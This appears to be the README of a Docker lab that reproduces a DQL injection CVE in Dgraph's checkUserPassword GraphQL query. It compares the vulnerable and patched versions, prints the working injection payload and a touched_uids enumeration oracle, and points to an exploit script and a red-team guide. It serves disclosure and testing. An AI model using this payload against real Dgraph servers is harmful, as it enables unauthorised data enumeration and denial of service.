
Docker lab reproducing CVE-2026-44840, a DQL injection in Dgraph's checkUserPassword GraphQL query, with exploit script and vulnerable vs patched comparison.
checkUserPassword (GraphQL)Laboratorio Docker que reproduce una inyeccion real en Dgraph:
dgraph/dgraph:v25.3.3dgraph/dgraph:v25.3.4CVE real de 2026 · CVSS 3.1 7.5 (High) ·
CWE-943(Improper Neutralization in Data Query Logic) · atribuida a Kai Aizen (GHSA-q2m9-6jp9-c6mc,GO-2026-5837). Solo para entorno de lab aislado y autorizado.
checkUserPassword es la query GraphQL que genera automaticamente el esquema de Dgraph para
tipos con la directiva . En
(≤ v25.3.3) la password se concatenaba con :
@secret(field: "password")graphql/resolve/query_rewriter.gofmt.SprintfpwdVar := fmt.Sprintf(`checkpwd(%s, "%s")`, predicate, password) // VULNERABLE
La password del atacante queda intercalada literalmente en el DQL:
pwd as checkpwd(User.password, "<password del atacante>")
El fix (v25.3.4, commit cee702c) parametriza el valor:
pwdVar = "$pwd0" // FIX
// executa con &dgoapi.Request{Query: qry, Vars: map[string]string{"$pwd0": password}, ...}
Levanta dos clusters Dgraph (zero+alpha): v25.3.3 y v25.3.4.
Sube el esquema type User @secret(field: "password") y crea admin, alice, bob.
Envia a checkUserPassword una password que salta del literal DQL y anade un bloque
de query arbitrario:
x")
}
injected(func: has(User.name)) {
User.name
User.email
uid
}
#
En v25.3.3 el bloque injected { ... } se parsea y se ejecuta server-side.
| Prueba | v25.3.3 (vulnerable) | v25.3.4 (parcheado) |
|---|---|---|
| login con password correcta | OK (touched_uids 7) | OK (touched_uids 7) |
| login con password incorrecta | null (5) | null (5) |
password inyectada )} injected{...} # | se ejecuta: touched_uids 14 | neutralizada: 5 |
oraculo: eq(User.name,"bob") inyectado | touched_uids 7 (existe) | 5 |
oraculo: eq(User.name,"nobody") inyectado | 5 (no existe) | 5 |
log de dgraph alpha | muestra el DQL con el bloque injected | DQL parametrizado, sin bloque |
Impacto del CVE: ejecucion de DQL arbitrario server-side → enumeracion ciega de datos
(via touched_uids/timing), descubrimiento de esquema (has(), eq()) y DoS por consumo
de recursos inyectando travesias costosas (expand(_all_), recursiones).
# 1) levantar todo, preparar esquema/usuarios y ejecutar el exploit
bash run.sh
# 2) solo el exploit (si el lab ya esta preparado)
python3 exploit/exploit.py
# 3) montar el entorno desde cero (pod / volcado)
docker compose up -d
python3 setup/setup.py --alpha http://localhost:8180
python3 setup/setup.py --alpha http://localhost:8280
# 4) limpiar
docker compose down # conserva los volumenes
docker compose down -v # borra los volumenes (datos de dgraph)
| Servicio | HTTP GraphQL | HTTP admin | gRPC alpha |
|---|---|---|---|
| alpha v25.3.3 | http://localhost:8180/graphql | http://localhost:8180/admin | 9180 |
| alpha v25.3.4 | http://localhost:8280/graphql | http://localhost:8280/admin | 9280 |
CVE-2026-44840-poc/
├── docker-compose.yml # 2 clusters: zero+alpha v25.3.3 / v25.3.4
├── schema.graphql # type User @secret(field:"password")
├── run.sh # orquestador completo
├── REDTEAM.md # guía red team: recon + explotación paso a paso + OPSEC
├── setup/setup.py # esquema + usuarios
└── exploit/exploit.py # inyeccion DQL e oraculo
Guía operativa ofensiva (reconocimiento, explotación paso a paso, payloads, evidencia
y OPSEC): REDTEAM.md.
La password viaja como variable GraphQL; el valor que llega al rewriter no se escapa y se
inserta dentro de checkpwd(User.password, "..."). El payload:
x") # cierra el literal de checkpwd y la funcion
} # cierra el bloque checkPwd
injected(...) # nuevo bloque root del atacante
{ ... }
# # comenta el resto del template: ")
El # evita que el sufijo del template (la ") de cierre de checkpwd) rompa el parseo.
dgraph v25.3.4+.vars de dgoapi.Request), nunca
interpolar input con fmt.Sprintf.